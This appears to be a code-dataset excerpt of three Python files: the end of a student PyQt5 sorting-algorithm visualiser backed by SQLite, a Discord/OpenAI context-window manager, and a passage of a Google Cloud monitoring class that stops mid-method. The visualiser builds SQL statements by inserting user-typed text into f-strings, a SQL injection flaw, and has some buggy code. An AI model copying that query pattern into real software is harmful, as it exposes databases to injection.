self.hgrouped_together = 0\r\n        self.firstrun = True\r\n        self.startbutton_2.clicked.connect(lambda : self.randomize_img(self.lineEdit.text()))\r\n        self.startbutton.clicked.connect(lambda : self.Start(self.lineEdit.text()))\r\n        self.Close_Sorting_Window_2.clicked.connect(self.close)\r\n        self.pushButton_4.clicked.connect(lambda: w2.zooming(True,file_location, True))\r\n        self.pushButton_5.clicked.connect(lambda: w2.zooming(True,file_location, False))\r\n        self.startbutton_3.clicked.connect(self.open_new_window)\r\n        self.startbutton_5.clicked.connect(self.open_new_window2)\r\n        self.pushButton_3.clicked.connect(self.upload_database)\r\n        self.pushButton_2.clicked.connect(self.to_database)\r\n        self.update_Button.clicked.connect(self.update_times)\r\n\r\n    def update_times(self):\r\n        self.display_times()\r\n  \r\n    def repalce(self, char):\r\n        results4 = results4.replace(char,\"\")\r\n        return results4\r\n\r\n    def display_times(self):\r\n        connection3 = sqlite3.connect('*your file loaction*\\\\NEA visual representation of sorting algos\\\\database_sorting_algos2.db')\r\n        cur = connection3.cursor()\r\n        if self.image_chosen == False:\r\n            self.textEdit_3.setText(\"N/A\")\r\n            self.textEdit_4.setText(\"N/A\")\r\n            self.textEdit_5.setText(\"No resolution\")\r\n            self.textEdit_6.setText(\"Choose Image\")\r\n        else:\r\n            resolution_not_multiplyed = self.textEdit.toPlainText()\r\n            resolution_not_multiplyed_1 = re.search(r'(.*?)x', resolution_not_multiplyed).group(1)\r\n            resolution = resolution_not_multiplyed[len(resolution_not_multiplyed_1)+1:]\r\n            resolution_multiplyed = int(resolution_not_multiplyed_1) * int(resolution)\r\n            sqlquer2 = (f'SELECT Time FROM Runs2 WHERE Resolution = \"{resolution_multiplyed}\"')\r\n            sqlquer3 = (f'SELECT Algorithm FROM Runs2 WHERE Resolution = \"{resolution_multiplyed}\"')\r\n            cur.execute(sqlquer3)\r\n            AlgoResults = cur.fetchall()\r\n            arr1 = []\r\n            for i in AlgoResults:\r\n                i = str(i)\r\n                i = i.replace(\",\",\"\")\r\n                i = i.replace(\"(\",\"\")\r\n                i = i.replace(\")\",\"\")\r\n                arr1.append(str(i))\r\n            \r\n            cur.execute(sqlquer2)\r\n            results = cur.fetchall()\r\n            arr2 = []\r\n            for i in results:\r\n                i = str(i)\r\n                i = i.replace(\",\",\"\")\r\n                i = i.replace(\"(\",\"\")\r\n                i = i.replace(\")\",\"\")\r\n                arr2.append(str(i))\r\n            if arr2 == []:\r\n                self.textEdit_3.setText(\"N/A\")\r\n                self.textEdit_4.setText(\"N/A\")\r\n            else:\r\n                arr3 = []\r\n                for i in arr2:\r\n                    i = float(i)\r\n                    arr3.append(i)\r\n\r\n                minTime = min(arr3)\r\n                maxTime = max(arr3)\r\n                self.textEdit_3.setText(str(minTime))\r\n                self.textEdit_4.setText(str(maxTime))\r\n                indexMin = arr3.index(minTime)\r\n                indexMax = arr3.index(maxTime)\r\n                AlgoMin = arr1[indexMin]\r\n                AlgoMax = arr1[indexMax]\r\n                sqlstr4 = (f'SELECT Algorithm FROM Algorithms WHERE ID = \"{(AlgoMin)}\" ')\r\n                cur.execute(sqlstr4)\r\n                results4 = (str(cur.fetchall()))\r\n                sqlstr5 = (f'SELECT Algorithm FROM Algorithms WHERE ID = \"{(AlgoMax)}\" ')\r\n                cur.execute(sqlstr5)\r\n                results5 = (str(cur.fetchall()))\r\n                print(results4)\r\n                AlgoMin = re.search(r\"'(.*?)'\", results4).group(1)\r\n                AlgoMax = re.search(r\"'(.*?)'\", results5).group(1)\r\n                self.textEdit_5.setText(AlgoMin)\r\n                self.textEdit_6.setText(AlgoMax)\r\n\r\n    def to_database(self):\r\n        plz = DataBWindow()\r\n        method2 = plz.loading\r\n        method2()     \r\n\r\n        \r\n        widget.setFixedHeight(800)\r\n        widget.setFixedWidth(1051)\r\n        widget.move(200,200)\r\n        widget.setCurrentIndex(widget.currentIndex()+2)\r\n\r\n\r\n    def upload_database(self):\r\n        #add data to database\r\n        if self.randomizeddone == True:\r\n            connection2 = sqlite3.connect('*your file loaction*\\\\NEA visual representation of sorting algos\\\\database_sorting_algos2.db')\r\n            cur = connection2.cursor()\r\n            \r\n            sqlstr2 = ('SELECT RunID FROM Runs2')\r\n            cur.execute(sqlstr2)\r\n            results = str(cur.fetchall())\r\n            print(results)\r\n            print()\r\n            for i in range(len(str(results))):\r\n                try:\r\n                    if int(results[-(i)] ) / 100000000 != 9:\r\n                        results2 = (int(results[-(i)]))\r\n                        self.firstrun = False\r\n                        break\r\n                except:\r\n                    pass\r\n            if self.firstrun == True:\r\n                runid = 1\r\n            else:\r\n                runid = int(results2) + 1\r\n\r\n            algorith = self.comboBox.currentText()\r\n            sqlquer = (f'SELECT ID FROM Algorithms WHERE Algorithm == \"{algorith}\"')\r\n            cur.execute(sqlquer)\r\n            algorithmId = str(cur.fetchall())\r\n            algorithmId = float(algorithmId[2:3])\r\n\r\n            resolution_not_multiplyed = self.textEdit.toPlainText()\r\n            resolution_not_multiplyed_1 = re.search(r'(.*?)x', resolution_not_multiplyed).group(1)\r\n            resolution = resolution_not_multiplyed[len(resolution_not_multiplyed_1)+1:]\r\n            resolution_multiplyed = int(resolution_not_multiplyed_1) * int(resolution)\r\n            time_taken = str(self.textEdit_2.toPlainText())\r\n            time_taken = float(time_taken[:-2])\r\n            \r\n            grouped_together = str(self.lineEdit.text())\r\n            if grouped_together == \"\":\r\n                grouped_together = 1\r\n\r\n            cur.execute(f\"INSERT OR IGNORE INTO Runs2 VALUES ({runid},'{resolution_multiplyed}',{grouped_together},'{time_taken}',{algorithmId})\")\r\n            connection2.commit()\r\n            connection2.close()\r\n\r\n        \r\n    \r\n    def resolution(self, file_location):\r\n        #print(file_location)\r\n        width, heigh = SecondaryFile.resolution_finder(file_location, True)\r\n\r\n        self.textEdit.setText(str(width) + \" x \" + str(heigh))\r\n    \r\n    def open_new_window(self):\r\n        self.image_chosen = True\r\n        widget.setCurrentIndex(widget.currentIndex()-1)\r\n        widget.move(600,200)\r\n        widget.setFixedHeight(550)\r\n        widget.setFixedWidth(1000)\r\n        \r\n    def open_new_window2(self):\r\n        self.image_chosen = True\r\n        widget.setCurrentIndex(widget.currentIndex()-2)\r\n        widget.move(0,0)\r\n        widget.setFixedHeight(1000)\r\n        widget.setFixedWidth(1920)\r\n    \r\n    def randomize_img(self, grouped_together):\r\n        if grouped_together == \"\":\r\n            grouped_together = 0\r\n        self.randomized = True\r\n        with open (\"image_location.txt\",\"r\") as file:\r\n            file_location = file.read()\r\n        print()\r\n        if __name__ == \"__main__\":\r\n            n = int(grouped_together)\r\n            SecondaryFile.runner(w2, file_location, n)\r\n\r\n# litrally create a normal python timer, get the current timer every 10 ms and display using self.textEdit_2.setText(str(self.count))\r\n    def close(self):\r\n        sys.exit()\r\n\r\n\r\n    def time_take(self,time_taken):      \r\n        time_taken = str(time_taken)[0:6]\r\n        self.textEdit_2.setText(str(time_taken) + \" s\")\r\n  \r\n    def Start(self, grouped):\r\n        if grouped == \"\":\r\n            grouped = 0\r\n        else:\r\n            grouped = int(grouped)\r\n\r\n        if self.randomized == True:\r\n            if __name__ == \"__main__\":\r\n                sorting_algo = self.comboBox.currentText()\r\n                with open (\"values_needed_for_sorting_function.txt\",\"r\") as file:\r\n                    if grouped > 0:\r\n                        n2 = file.readlines()\r\n                        n2 = str(n2)\r\n                        n2 = n2[2:-2]\r\n                        #print(n2)\r\n                        dict1 = re.search(r';(.*?);', n2).group(1)\r\n                        length_dict = len(dict1)\r\n                        n2 = n2[length_dict+1:]\r\n                        loc2 = re.search(r';(.*?),', n2).group(1)\r\n                        length_dict = len(loc2)\r\n                        n2 = n2[length_dict+1:]\r\n                        x_value = re.search(r',(.*?),', n2).group(1)\r\n                        length_dict = len(x_value)\r\n                        n2 = n2[length_dict+2:]\r\n                        y_value = n2\r\n                        #print(x_value)\r\n                        SecondaryFile.connecting_randomDict_to_sort_algo(dict1,loc2,x_value,y_value,w2,My_FourthWindow, sorting_algo, grouped)\r\n\r\n                    else:\r\n                        x = file.readlines()\r\n                        string_contents = (x[0])\r\n                        #print(string_contents)\r\n                        dict1 = re.search(r'{(.*?)}', string_contents).group(1)\r\n                        dict1 = \"{\" + dict1 + \"}\"\r\n                        length_dict = len(dict1)\r\n                        string_contents = string_contents[length_dict+1:]#removing the first part of the string, known how long due to getting the length of dict\r\n                        loc2 = re.search(r'(.*?),', string_contents).group(1)\r\n                        string_contents = string_contents[len(loc2)+1:]\r\n                        xx = re.search(r'(.*?),', string_contents).group(1)\r\n                        string_contents = string_contents[len(xx)+1:]\r\n                        yx = string_contents\r\n\r\n                        SecondaryFile.connecting_randomDict_to_sort_algo(dict1,loc2,xx,yx,w2,My_FourthWindow, sorting_algo, grouped)\r\n            open(\"values_needed_for_sorting_function.txt\", \"w\").close()# this is to remove contents of file so it is clear for the next run\r\n            print(\"END\")\r\n            self.randomizeddone = True\r\n        else:\r\n            print(\"Sorry you need to randomize image first\")\r\n            \r\n\r\nimport sys\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.uic import loadUi\r\nfrom PyQt5.QtWidgets import QDialog, QApplication, QFileDialog\r\nimport re\r\nimport PIL\r\n\r\n\r\nimport mainwindow_graphical \r\n\r\nclass FirstWindow(QtWidgets.QMainWindow, mainwindow_graphical.Ui_MainWindow):              # +\r\n    def __init__(self):\r\n        super(FirstWindow, self).__init__()\r\n        self.setupUi(self)\r\n        self.random_image_button.clicked.connect(self.next)\r\n        self.pushButton_3.clicked.connect(self.info_window)\r\n        self.pushButton_4.clicked.connect(self.dataB)\r\n    def next(self):\r\n        widget.setFixedHeight(410)\r\n        widget.setFixedWidth(578)\r\n        widget.move(1200,500)\r\n        widget.setCurrentIndex(widget.currentIndex()+3)\r\n    def info_window(self):\r\n        #widget.showFullScreen()\r\n        widget.setCurrentIndex(widget.currentIndex()+4)\r\n\r\n    def dataB(self):\r\n        widget.setFixedHeight(800)\r\n        widget.setFixedWidth(1051)\r\n        widget.move(200,200)\r\n        widget.setCurrentIndex(widget.currentIndex()+5)\r\n\r\n\r\n        \r\nimport select_random_graphical\r\n\r\n    \r\nclass SecondWindow_M(QtWidgets.QMainWindow, select_random_graphical.Ui_MainWindow):              # +\r\n    def __init__(self):\r\n        super(SecondWindow_M, self).__init__()\r\n        self.setupUi(self)\r\n        widget.move(0,0)\r\n        self.count = 0\r\n        self.Wpath = r\"*your file loaction*\\NEA visual representation of sorting algos\\\\\"\r\n        self.array_of_pics = [\"Porsche 911 GT3 manual .jpg\",\"cadilac.png\",\"Mazda RX-7.jpg\",\"Honda Civic Type-R EK9.png\",\"mustang.png\",\"audiR8.jpg\",\"Subaru Impreza WRX STI 1st gen.png\",\"32x32.png\"]\r\n        self.pictures.setPixmap(QtGui.QPixmap(self.Wpath + self.array_of_pics[-1]))\r\n        self.reroll_button.clicked.connect(self.re_roll_image)\r\n        self.back_button.clicked.connect(self.back_button2)\r\n        self.continue_button.clicked.connect(lambda : self.continue_to_next(self.Wpath + self.array_of_pics[self.count-1]))\r\n        \r\n\r\n    def back_button2(self):\r\n        global widget_order\r\n\r\n        widget.setFixedHeight(410)\r\n        widget.setFixedWidth(578)\r\n        widget.move(1200,500)\r\n        widget.setCurrentIndex(widget.currentIndex()+2)\r\n           \r\n\r\n    def re_roll_image(self):\r\n\r\n        if self.count+2 > len(self.array_of_pics):\r\n            self.pictures.setPixmap(QtGui.QPixmap(self.Wpath + self.array_of_pics[self.count]))\r\n            self.count = 0\r\n        else:\r\n            self.pictures.setPixmap(QtGui.QPixmap(self.Wpath + self.array_of_pics[self.count]))\r\n            self.count += 1\r\n\r\n    def continue_to_next(self,image_location):\r\n        global w2\r\n        global My_FourthWindow\r\n        global widget_order\r\n        resolution_of_image = (self.resolution_finder(image_location))\r\n        resolution_of_image = str(resolution_of_image)\r\n        resolution_of_image = ''.join((resolution_of_image,' '))\r\n        width = re.search(r'= (.*?)x', resolution_of_image).group(1)\r\n        height = re.search(r'x(.*?) ', resolution_of_image).group(1)\r\n        widget.setFixedHeight(800)\r\n        widget.setFixedWidth(800)\r\n        with open (\"image_location.txt\",\"w\") as file:\r\n            file.write(image_location)\r\n        w2.display_randomized(image_location)\r\n        My_FourthWindow.resolution(image_location)\r\n        widget.setCurrentIndex(widget.currentIndex()+2)\r\n        widget_order = False\r\n        widget.setFixedHeight(410)\r\n        widget.setFixedWidth(578)\r\n        widget.move(1200,500)\r\n\r\n\r\n    def resolution_finder(self, file):\r\n        img = PIL.Image.open(file)\r\n\r\n        # fetching the dimensions\r\n        wid, hgt = img.size\r\n\r\n        # displaying the dimensions\r\n        resolution = (\"Resolution = \" + str(wid) + \"x\" + str(hgt))\r\n        return resolution\r\n\r\nimport select_image_graphical \r\n\r\nclass ThirdWindow(QtWidgets.QMainWindow, select_image_graphical.Ui_MainWindow):              # +\r\n    def __init__(self):\r\n        super(ThirdWindow, self).__init__()\r\n        self.setupUi(self)\r\n\r\n        self.actionOpen.triggered.connect(self.browsefiles)\r\n        self.clear_Button.clicked.connect(self.delte_button)\r\n        self.back_button.clicked.connect(self.back_button2)\r\n        self.continue_button.clicked.connect(self.continueing)\r\n\r\n    def back_button2(self):\r\n        global widget_order\r\n\r\n        widget.setFixedHeight(410)\r\n        widget.setFixedWidth(578)\r\n        widget.move(1200,500)\r\n        widget.setCurrentIndex(widget.currentIndex()+1)\r\n            \r\n\r\n    def browsefiles(self):\r\n        #fname = QFileDialog.getOpenFileName(self, \"Open file\",\"\", \"All Files (*);;Python Files (*.py)\")\r\n        fname, placeholder = QFileDialog.getOpenFileName(None, 'Select file') #only jpg nd png\r\n        if fname:\r\n            self.lineEdit.setText(fname)\r\n            file_location = str(fname)\r\n\r\n    def continueing(self):\r\n        global w2\r\n        global widget\r\n        global widget_order\r\n        file_location = self.lineEdit.text()\r\n        #print(file_location)\r\n        file_location = file_location.replace(\"/\",\"\\\\\")\r\n        with open (\"image_location.txt\",\"w\") as file:\r\n            file.write(file_location)\r\n        w2.display_randomized(file_location)\r\n        My_FourthWindow.resolution(file_location)\r\n        #widget.close()\r\n        widget.setCurrentIndex(widget.currentIndex()+1)\r\n        widget_order = False\r\n        widget.setFixedHeight(410)\r\n        widget.setFixedWidth(578)\r\n        widget.move(1200,500)\r\n\r\n    def delte_button(self):\r\n        self.lineEdit.setText(\"\")\r\n\r\nimport infomation_page_graphical \r\n\r\nclass InfoWindow(QtWidgets.QMainWindow, infomation_page_graphical.Ui_MainWindow):              # +\r\n    def __init__(self):\r\n        super(InfoWindow, self).__init__()\r\n        self.setupUi(self)\r\n        self.pushButton.clicked.connect(self.back_button)\r\n        self.pushButton_2.clicked.connect(self.exit_button)\r\n\r\n    def back_button(self):\r\n        widget.setCurrentIndex(widget.currentIndex()-4)\r\n    def exit_button(self):\r\n        sys.exit()\r\n\r\nimport sql_graphical\r\n\r\n\r\nclass DataBWindow(QtWidgets.QMainWindow, sql_graphical.Ui_MainWindow):\r\n    def __init__(self):\r\n        super(DataBWindow, self).__init__()\r\n        self.setupUi(self)\r\n        self.pushButton.clicked.connect(self.back)\r\n        self.pushButton_2.clicked.connect(self.exit)\r\n        self.pushButton_3.clicked.connect(self.loading)\r\n        self.tableWidget.setColumnWidth(0, 150)\r\n        self.tableWidget.setColumnWidth(1, 150)\r\n        self.tableWidget.setColumnWidth(2, 150)\r\n        self.loading()\r\n\r\n    \r\n    def back(self):\r\n        widget.setFixedHeight(1079)\r\n        widget.setFixedWidth(1920)\r\n        widget.move(0,0)\r\n        widget.setCurrentIndex(widget.currentIndex()-5)\r\n\r\n    def exit(self):\r\n        sys.exit()\r\n\r\n    def loading(self):\r\n        connection = sqlite3.connect('*your file loaction*\\\\NEA visual representation of sorting algos\\\\database_sorting_algos2.db')\r\n        cur = connection.cursor()\r\n        sqlstr = 'SELECT * FROM Runs2'\r\n        results = cur.execute(sqlstr)\r\n        tablerow = 0\r\n        self.tableWidget.setRowCount(0)\r\n        self.tableWidget.setRowCount(200)\r\n        for col in results:\r\n            self.tableWidget.setItem(tablerow, 0, QtWidgets.QTableWidgetItem(str(col[0])))\r\n            self.tableWidget.setItem(tablerow, 1, QtWidgets.QTableWidgetItem(str(col[1])))\r\n            self.tableWidget.setItem(tablerow, 2, QtWidgets.QTableWidgetItem(str(col[2])))\r\n            self.tableWidget.setItem(tablerow, 3, QtWidgets.QTableWidgetItem(str(col[3])))\r\n            self.tableWidget.setItem(tablerow, 4, QtWidgets.QTableWidgetItem(str(col[4])))\r\n            tablerow += 1\r\n\r\n        sqlstr = 'SELECT * FROM Algorithms'\r\n        results = cur.execute(sqlstr)\r\n        tablerow = 0\r\n        self.tableWidget_2.setRowCount(0)\r\n        self.tableWidget_2.setRowCount(9)\r\n        for col in results:\r\n            self.tableWidget_2.setItem(tablerow, 0, QtWidgets.QTableWidgetItem(str(col[0])))\r\n            self.tableWidget_2.setItem(tablerow, 1, QtWidgets.QTableWidgetItem(str(col[1])))\r\n            tablerow += 1\r\n        connection.close()    \r\n\r\nif __name__ == \"__main__\":\r\n    app2 = QApplication(sys.argv)\r\n    w2 = SecondWindow()\r\n    w2.show()\r\n    widget_order = True\r\n    widget = QtWidgets.QStackedWidget()\r\n    My_FirstWindow = FirstWindow()\r\n    My_SecondWindow = SecondWindow_M()\r\n    My_ThirdWindow = ThirdWindow()\r\n    My_FourthWindow = MainWindow()\r\n    My_FifthWindow = InfoWindow()\r\n    My_SixthWindow = DataBWindow()\r\n    widget.addWidget(My_FirstWindow)\r\n    widget.addWidget(My_SecondWindow)\r\n    widget.addWidget(My_ThirdWindow)\r\n    widget.addWidget(My_FourthWindow)\r\n    widget.addWidget(My_FifthWindow)\r\n    widget.addWidget(My_SixthWindow)\r\n    widget.show()\r\n    widget.setFixedHeight(1079)\r\n    widget.setFixedWidth(1920)\r\n\r\n    \r\n    sys.exit(app2.exec_())\r\n\r\n    \r\n","repo_name":"Dightful/Visual-Representation-of-Sorting-Algorithms","sub_path":"NEA visual representation of sorting algos/MainFile.py","file_name":"MainFile.py","file_ext":"py","file_size_in_byte":21574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13247793431","text":"import heapq\nfrom collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom discord import TextChannel\nfrom enum import Enum\nfrom functools import lru_cache\nfrom openai import ChatCompletion\nfrom tiktoken import get_encoding, Encoding\nfrom typing import NamedTuple, Iterable\n\nclass MessageRole(Enum):\n    SYSTEM = \"system\"\n    USER = \"user\"\n    ASSISTANT = \"assistant\"\n\n@dataclass(order=True, frozen=True)\nclass Message:\n    \"\"\"Dataclass to store metadata and content for messages between us and the chat completion model\"\"\"\n    # The priority of the message\n    priority: int\n    # The \"index\" of the message. Newer messages have higher numbers. Should be an incrementing integer.\n    index: int\n    # The role of the message. Gets sent to the API\n    role: MessageRole = field(compare=False, hash=True)\n    # The message itself. Gets sent to the API\n    content: str = field(compare=False, hash=True)\n\n    def api_serialize(self):\n        \"\"\"Converts this object into a dict that can be passed to the OpenAI API.\"\"\"\n        return {\n            \"role\": self.role.value,\n            \"content\": self.content\n        }\n    \n    @staticmethod\n    @lru_cache\n    def calculate_tokens(message, encoding: str | Encoding = \"cl100k_base\") -> int:\n        if type(encoding) is str:\n            encoding = get_encoding(encoding)\n        \n        return len(encoding.encode(message.content))\n\n\nclass ContextWindow:\n    \"\"\"Manages messages to form a context window that can be passed to the model.\"\"\"\n\n    def __init__(self, max_tokens: int, encoding: str | Encoding = \"cl100k_base\"):\n        self._queue: list[Message] = []\n        self._token_count = 0\n        self._incrementor = 0\n        self.encoding = encoding\n        self.max_tokens = max_tokens\n\n    @property\n    def empty(self) -> bool:\n        return len(self._queue) == 0\n\n    @property\n    def messages(self):\n        \"\"\"Returns an iterator of messages in lowest priority, lowest index order.\"\"\"\n        return iter(self._queue)\n    \n    @property\n    def chat_order(self):\n        \"\"\"Returns messages in highest priority, lowest index order.\"\"\"\n        return sorted(self._queue, key=lambda a: (a.priority * -1, a.index))\n    \n    @property\n    def token_count(self) -> int:\n        return self._token_count\n    \n    @property\n    def incrementor(self) -> int:\n        \"\"\"Get the value of incrementor, then increase it by 1.\"\"\"\n        rv = self._incrementor\n        self._incrementor += 1\n        return rv\n    \n    def _recompute_token_count(self):\n        self._token_count = sum((Message.calculate_tokens(x, self.encoding) for x in self._queue))\n    \n    def drain_tokens(self):\n        \"\"\"Pops items from the window until the token count is under max_tokens\"\"\"\n        rv = []\n\n        while self._token_count > self.max_tokens:\n            m = heapq.heappop(self._queue)\n            m_tokens = Message.calculate_tokens(m, self.encoding)\n            \n            self._token_count -= m_tokens\n            rv.append(m_tokens)\n        \n        return rv\n    \n    def insert_message(self, message: Message) -> list[Message]:\n        \"\"\"Inserts a message into the window. Automatically calls drain_tokens.\"\"\"\n        token_count = Message.calculate_tokens(message, self.encoding)\n        self._token_count += token_count\n        \n        heapq.heappush(self._queue, message)\n        return self.drain_tokens()\n    \n    def insert_new_message(self, role: MessageRole, content: str, priority = 0, index = None) -> list[Message]:\n        \"\"\"Creates a new `Message` and inserts it into the window.\"\"\"\n        return self.insert_message(Message(\n            priority,\n            self.incrementor if index is None else index,\n            role,\n            content\n        ))\n    \n    def insert_new_messages(self, *args: tuple[MessageRole, str], priority = 0) -> list[Message]:\n        \"\"\"Creates several new messages and inserts them into the window.\"\"\"\n        messages = (Message(priority, self.incrementor, *x) for x in args)\n        rv = []\n        for m in messages:\n            rv.extend(self.insert_message(m))\n        return rv\n\n    def clear(self, max_priority = 0):\n        \"\"\"Clears all messages with priority less than or equal to `max_priority`. Returns removed messages. \"\"\"\n        self._queue = [x for x in self._queue if x.priority > max_priority]\n        heapq.heapify(self._queue)\n        self._recompute_token_count()\n\nclass CompletionRespose(NamedTuple):\n    \"\"\"A standard type for responses from models\"\"\"\n    content: str\n    statistics: dict[str, int]\n\n\nclass ChatCompletionAPI:\n    \"\"\"Defines a standard interface for the OpenAI ChatCompletion API\"\"\"\n\n    def __init__(self, **kwargs) -> None:\n        self.api_args = kwargs\n    \n    async def get_completion(self, messages: Iterable[Message]) -> CompletionRespose:\n        response = await ChatCompletion.acreate(\n            **self.api_args,\n            messages = [m.api_serialize() for m in messages]\n        )\n\n        return CompletionRespose(\n            response[\"choices\"][0][\"message\"][\"content\"],\n            response[\"usage\"]\n        )\n\n\nclass Foxtail:\n    \"\"\"\n    An instance of the abstract idea of an \"intelligence\" or connection to a model.\n\n    In practice this class just holds the prompt and context windows for a model, and defines\n    and API to simplify communicating across the API. Of course, there being an API in the first\n    places is merely an implementation detail.\n\n    I chose the name Foxtail because I spent like an hour trying to come up with a name and\n    I just settled for the first thing I saw which was a scarf with a fox on it.\n    \"\"\"\n    PROMPT_PRIORITY = 100\n\n    def __init__(self, api, context_window_factory) -> None:\n        self._api = api\n        self._channel_context_windows = defaultdict(context_window_factory)\n    \n    @property\n    def context_windows(self) -> defaultdict[TextChannel, ContextWindow]:\n        return self._channel_context_windows\n\n    def clear_channel_context(self, channel: TextChannel):\n        self._channel_context_windows[channel].clear()\n\n    async def send_window(self, channel: TextChannel, add_response = True) -> CompletionRespose:\n        \"\"\"\n        Sends the window to the api for a resonse and returns it.\n        If `add_response` is True (default) then the response is added to the context window.\n        If the window is empty or does not exist then an error is raised.\n        \"\"\"\n        if channel not in self._channel_context_windows:\n            raise LookupError(f\"No context window for channel {channel.id} exists.\")\n\n        context_window = self._channel_context_windows[channel]\n        if context_window.empty:\n            raise ValueError(f\"Channel {channel.id}'s context window is empty.\")\n        response: CompletionRespose = await self._api.get_completion(context_window.chat_order)\n\n        if add_response:\n            context_window.insert_new_message(MessageRole.ASSISTANT, response.content)\n        \n        return response\n    \n    async def add_and_send_new_message(self, \n                                 channel: TextChannel,\n                                 content: str,\n                                 role: MessageRole = MessageRole.USER, \n                                 priority = 0,\n                                 index = None,\n                                 add_response = True) -> CompletionRespose:\n        \"\"\"\n        Creates a new user message and adds it to the context window. \n        Then, sends that context window to the api and returns the response.\n        \"\"\"\n        context_window = self._channel_context_windows[channel]\n        context_window.insert_new_message(role, content, priority, index)\n        return await self.send_window(channel, add_response)","repo_name":"ILikePizza555/LunAI","sub_path":"src/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":7749,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"1256367756","text":"\"\"\"\nGoogle Cloud monitor implementation (using StackDriver API)\n\"\"\"\n\nimport datetime\nimport logging\nimport time\n\nfrom core.metamonitor import MetaMonitor\nfrom google.cloud import monitoring_v3\nfrom google.oauth2.credentials import Credentials\nfrom libcloud.common.google import GoogleOAuth2Credential\nfrom os import sep\n\n__author__ = \"Davide Monfrecola, Stefano Garione, Giorgio Gambino, Luca Banzato\"\n__copyright__ = \"Copyright (C) 2019\"\n__credits__ = [\"Andrea Lombardo\", \"Irene Lovotti\"]\n__license__ = \"GPL v3\"\n__version__ = \"0.10.0\"\n__maintainer__ = \"Luca Banzato\"\n__email__ = \"20005492@studenti.uniupo.it\"\n__status__ = \"Prototype\"\n\n\nclass GCPMonitor(MetaMonitor):\n\n    def __init__(self, conf, commands_queue, measurements_queue):\n        \"\"\"\n        Init method\n\n        Args:\n            conf (MetaConfManager): a configuration manager holding all the settings\n                                    for the Monitor\n            commands_queue (Queue): message queue for communicating with the main\n                                    thread and receiving commands regarding the metrics\n                                    to observe\n            measurements_queue (Queue): message queue for sending measurements to\n                                        the platform RuleEngine\n        \"\"\"\n        super().__init__(conf, commands_queue, measurements_queue)\n        self._bind_generic_metric_to_getter(name=\"cpu_load\", function=self._get_cpu_measures)\n        #\n        # No metric available for memory_free\n        # self._bind_generic_metric_to_getter(name=\"memory_free\", function=self._get_memory_free_measures)\n        #\n        # No metric available for memory_used\n        # self._bind_generic_metric_to_getter(name=\"memory_used\", function=self._get_memory_used_measures)\n        #\n        logging.debug(\"[GCP MONITOR GETTERS]: \" + str(self._metrics_getters))\n\n    def connect(self):\n        \"\"\"\n        Connect to GCP StackDriver and initialize its client object\n        \"\"\"\n        credential_file = \"~\" + sep + \".google_libcloud_auth.\" + self.conf.gcp_project\n        scopes = [\"https://www.googleapis.com/auth/monitoring\"  # View and write monitoring data for all of your Google projects\n                  ]\n        # Ask for or use an existing auth token\n        oauth_client = GoogleOAuth2Credential(user_id=self.conf.gcp_access_key_id,\n                                              key=self.conf.gcp_secret_access_key,\n                                              credential_file=credential_file,\n                                              scopes=scopes)\n        # Create Google-specific Credentials object\n        creds = Credentials(oauth_client.access_token)\n        # Create the StackDriver client\n        self.stackdriver_client = monitoring_v3.MetricServiceClient(credentials=creds)\n\n    def _get_metric_values(self, instance_id, metric, granularity, limit):\n        \"\"\"\n        StackDriver measurements getter. Conversion to generic metric name is performed here through _build_message.\n\n        Args:\n            instance_id (str): The id of the instance to fetch the measurements\n            metric (str): The *specific* metric name to get the values\n            granularity (int): The granularity of the measurements fetched, expressed in seconds\n            limit (int): The maximum number of measurements returned\n\n        Returns:\n            dict: A structure containing all the measurements for a metric\n        \"\"\"\n        logging.debug(\"Fetching metric \\\"\" + metric + \"\\\" with granularity=\" + str(granularity) + \" and limit=\" + str(limit))\n        # Get the project full path\n        project_name = self.stackdriver_client.project_path(self.conf.gcp_project)\n        # Define time interval for retrieving metrics\n        interval = monitoring_v3.types.TimeInterval()\n        # now is a UNIX timestamp (60 seconds are equal to 100 units)\n        # The latest measurements are 5 minutes back in time, so we add a -500 ms in order to cover this delay\n        now = time.time()\n        interval.start_time.seconds = int(now - (((granularity / 0.6) * limit)) + (granularity / 0.6) * 2 - 500)\n        interval.end_time.seconds = int(now)\n        # Set the aggregation level\n        aggregation = monitoring_v3.types.Aggregation()\n        aggregation.alignment_period.seconds = granularity\n        aggregation.per_series_aligner = (monitoring_v3.enums.Aggregation.Aligner.ALIGN_MEAN)\n\n        _samples = []\n\n        try:\n            logging.debug(\"Instance ID: \" + str(instance_id))\n            results = self.stackdriver_client.list_time_series(project_name,\n                                                               \"metric.type = \\\"\" + metric + \"\\\" AND \" +\n                                                               \"metric.label.instance_name = \\\"\" + instance_id + \"\\\"\",  # FILTRO ()\n                                                               interval,\n                                                               monitoring_v3.enums.ListTimeSeriesRequest.TimeSeriesView.FULL,\n                                                               aggregation)\n            _random_measurements_values = []\n            for result in results:\n                for point in result.points:\n                    _random_measurements_values.append(point)\n            # Sort all the data (data can be unordered)\n            _random_measurements_values.sort(key=lambda x: datetime.datetime.fromtimestamp(x.interval.start_time.seconds))\n            # Extract the most recent limit-values\n            _measurements_values = _random_measurements_values[-limit:]\n            # Get the metric unit\n            _metric_unit = \"n/a\"\n            for page in self.stackdriver_client.list_metric_descriptors(project_name,\n                                                                        filter_=\"metric.type = \\\"\" + metric + \"\\\"\").pages:\n                for element in page:\n                    _metric_unit = element.unit\n                    break\n            # Add the measurements to the list that will be returned\n            for _value in _measurements_values:\n                _samples.append(self._build_message(timestamp=_value.interval.start_time.seconds,\n                                                    value=_value.value.double_value,\n                                                    unit=_metric_unit))\n            logging.debug(\"MEASUREMENTS: \" + str(_samples))\n        except Exception as _exception:\n            _samples.append(self._error_sample(_exception))\n            raise _exception\n\n        return _samples\n\n    # Please visit https://cloud.google.com/monitoring/api/metrics_gcp\n    # in order to get the specific metric name for a generic metric\n    # (e.g. cpu_load -> compute.googleapis.com/instance/cpu/utilization)\n    #\n    # !NOTE!: all the metrics in the page are listed in the form \"instance/cpu/utilization\"\n    # You need to add the prefix \"compute.googleapis.com/\" to each metric name\n    # in order to get them working with EasyCloud\n    #\n    # e.g. \"instance/cpu/utilization\" -> \"compute.googleapis.com/instance/cpu/utilization\"\n\n    def _get_cpu_measures(self, instance_id, granularity, limit):\n        